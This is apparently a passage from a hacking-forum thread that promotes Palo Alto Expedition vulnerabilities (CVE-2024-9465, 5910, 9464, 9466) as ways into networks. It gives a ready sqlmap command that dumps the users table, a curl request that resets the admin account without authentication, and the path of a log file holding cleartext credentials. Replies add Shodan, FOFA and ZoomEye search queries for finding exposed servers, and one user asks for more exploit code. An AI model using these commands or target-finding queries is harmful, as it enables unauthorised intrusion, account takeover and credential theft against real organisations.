[Aanya]

This  is a recent one good for initial access 

CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection :

Firing up the SQLMAP tool, and supplying it the endpoint and parameter to inject and table to dump, it successfully dumps the entire users table:

python3 sqlmap.py -u "https://10.0.0.0/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

CVE-2024-5910: Expedition: Missing Authentication Leads to Admin Account Takeover for attackers with network access : 

curl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'

CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit :

CVE-2024-9466: Cleartext Credentials in Logs

/home/userSpace/devices/debug.txt

This world-readable file contained the raw request logs of the Expedition server when it exchanged cleartext credentials for API keys in the device integration process. The Expedition server only stores the API keys, and is not supposed to retain the cleartext credentials, but this log file showed all the credentials used in cleartext. This issue was reported and assigned CVE-2024-9466.


Shodan Dork :

html:"Expedition Project"

with  @Aanya

[prx]

great thread thank you aanya

---

for CVE-2024-9465

zoomeye.hk
title:"Expedition Project" "Expedition Project"

fofa.info
body="Expedition Project" || title="Expedition Project"

shodan.io
html:"Expedition Project"

[result]

great thread thank you aanya

---

for CVE-2024-9465

zoomeye.hk
title:"Expedition Project" "Expedition Project"

fofa.info
body="Expedition Project" || title="Expedition Project"

shodan.io
html:"Expedition Project"

nice thanks do it more

[dump3r]

i want their exploit or poc code